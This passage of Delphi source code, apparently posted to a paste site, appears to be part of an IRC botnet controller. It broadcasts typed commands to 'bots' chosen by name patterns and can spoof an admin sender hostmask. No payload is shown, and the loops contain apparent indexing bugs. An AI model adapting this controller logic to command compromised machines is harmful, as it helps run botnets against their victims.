  827.                  If ClientSocket1.Active Then
  828.                  Begin
  829.                    P := ListView1.Items[i].Data;
  830.                    If Form2.CheckBox1.Checked Then
  831.                      ClientSocket1.Socket.SendText('PRIVMSG '+
  832.                      PBotData(P)^.NickName +' :'+memo2.Text+#10)
  833.                    Else
  834.                      ClientSocket1.Socket.SendText('PRIVMSG '+
  835.                      PBotData(P)^.NickName +' :'+memo2.Text+#10);
  836.                  End;
  837.              End;
  838.            End;
  839.          1:Begin
  840.              // Bots Start With
  841.              For I := 0 To ListView1.Items.Count -1 Do
  842.              Begin
  843.                If Copy(ListView1.Items[i].Caption, 1, Length(Edit4.Text)) = Edit4.Text Then
  844.                  If ServerSocket1.Active Then
  845.                  Begin
  846.                    P := ListView1.Items[i].Data;
  847.                    For J := 0 To ServerSocket1.Socket.ActiveConnections -1 Do
  848.                    Begin
  849.                      If ServerSocket1.Socket.Connections[i].SocketHandle = PBotData(P)^.SockID Then
  850.                        If Form2.CheckBox1.Checked Then
  851.                          ServerSocket1.Socket.Connections[i].SendText(':'+Form2.Edit2.Text + ' PRIVMSG '+PBotData(P)^.NickName+' :'+memo2.Text+#10)
  852.                        Else
  853.                          ServerSocket1.Socket.Connections[i].SendText(':admin!admin@127.0.0.1 PRIVMSG '+PBotData(P)^.NickName+' :'+memo2.Text+#10);
  854.                    End;
  855.                  End;
  856.                  If ClientSocket1.Active Then
  857.                  Begin
  858.                    P := ListView1.Items[i].Data;
  859.                    If Form2.CheckBox1.Checked Then
  860.                      ClientSocket1.Socket.SendText('PRIVMSG '+
  861.                      PBotData(P)^.NickName +' :'+memo2.Text+#10)
  862.                    Else
  863.                      ClientSocket1.Socket.SendText('PRIVMSG '+
  864.                      PBotData(P)^.NickName +' :'+memo2.Text+#10);
  865.                  End;
  866.              End;
  867.            End;
  868.          2:Begin
  869.              // Bots Contain
  870.              For I := 0 To ListView1.Items.Count -1 Do
  871.              Begin
  872.                If Pos(Edit4.Text, ListView1.Items[i].Caption) > 0 Then
  873.                  If ServerSocket1.Active Then
  874.                  Begin
  875.                    P := ListView1.Items[i].Data;
  876.                    For J := 0 To ServerSocket1.Socket.ActiveConnections -1 Do
  877.                    Begin
  878.                      If ServerSocket1.Socket.Connections[i].SocketHandle = PBotData(P)^.SockID Then
  879.                        If Form2.CheckBox1.Checked Then
  880.                          ServerSocket1.Socket.Connections[i].SendText(':'+Form2.Edit2.Text + ' PRIVMSG '+PBotData(P)^.NickName+' :'+memo2.Text+#10)
  881.                        Else
  882.                          ServerSocket1.Socket.Connections[i].SendText(':admin!admin@127.0.0.1 PRIVMSG '+PBotData(P)^.NickName+' :'+memo2.Text+#10);
  883.                    End;
  884.                  End;
  885.                  If ClientSocket1.Active Then
  886.                  Begin
  887.                    P := ListView1.Items[i].Data;
  888.                    If Form2.CheckBox1.Checked Then
  889.                      ClientSocket1.Socket.SendText('PRIVMSG '+
  890.                      PBotData(P)^.NickName +' :'+memo2.Text+#10)
  891.                    Else
  892.                      ClientSocket1.Socket.SendText('PRIVMSG '+
  893.                      PBotData(P)^.NickName +' :'+memo2.Text+#10);
  894.                  End;
  895.              End;
  896.            End;
  897.          3:Begin
  898.              // Bots Ends With
  899.              For I := 0 To ListView1.Items.Count -1 Do
  900.              Begin
  901.                If Copy(ListView1.Items[i].Caption, Length(ListView1.Items[i].Caption)-Length(Edit4.Text), Length(Edit4.Text)) = Edit4.Text Then
  902.                  If ServerSocket1.Active Then
  903.                  Begin
  904.                    P := ListView1.Items[i].Data;
  905.                    For J := 0 To ServerSocket1.Socket.ActiveConnections -1 Do
  906.                    Begin
  907.                      If ServerSocket1.Socket.Connections[i].SocketHandle = PBotData(P)^.SockID Then
  908.                        If Form2.CheckBox1.Checked Then
  909.                          ServerSocket1.Socket.Connections[i].SendText(':'+Form2.Edit2.Text + ' PRIVMSG '+PBotData(P)^.NickName+' :'+memo2.Text+#10)
  910.                        Else
  911.                          ServerSocket1.Socket.Connections[i].SendText(':admin!admin@127.0.0.1 PRIVMSG '+PBotData(P)^.NickName+' :'+memo2.Text+#10);
  912.                    End;
  913.                  End;
  914.                  If ClientSocket1.Active Then
  915.                  Begin
  916.                    P := ListView1.Items[i].Data;
  917.                    If Form2.CheckBox1.Checked Then
  918.                      ClientSocket1.Socket.SendText('PRIVMSG '+
  919.                      PBotData(P)^.NickName +' :'+memo2.Text+#10)
  920.                    Else
  921.                      ClientSocket1.Socket.SendText('PRIVMSG '+
  922.                      PBotData(P)^.NickName +' :'+memo2.Text+#10);
  923.                  End;
  924.              End;
  925.            End;
  926.        End;
  927.      End;
  928.      Memo2.Text := '';
  929.    end;
  930.  
  931.    end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement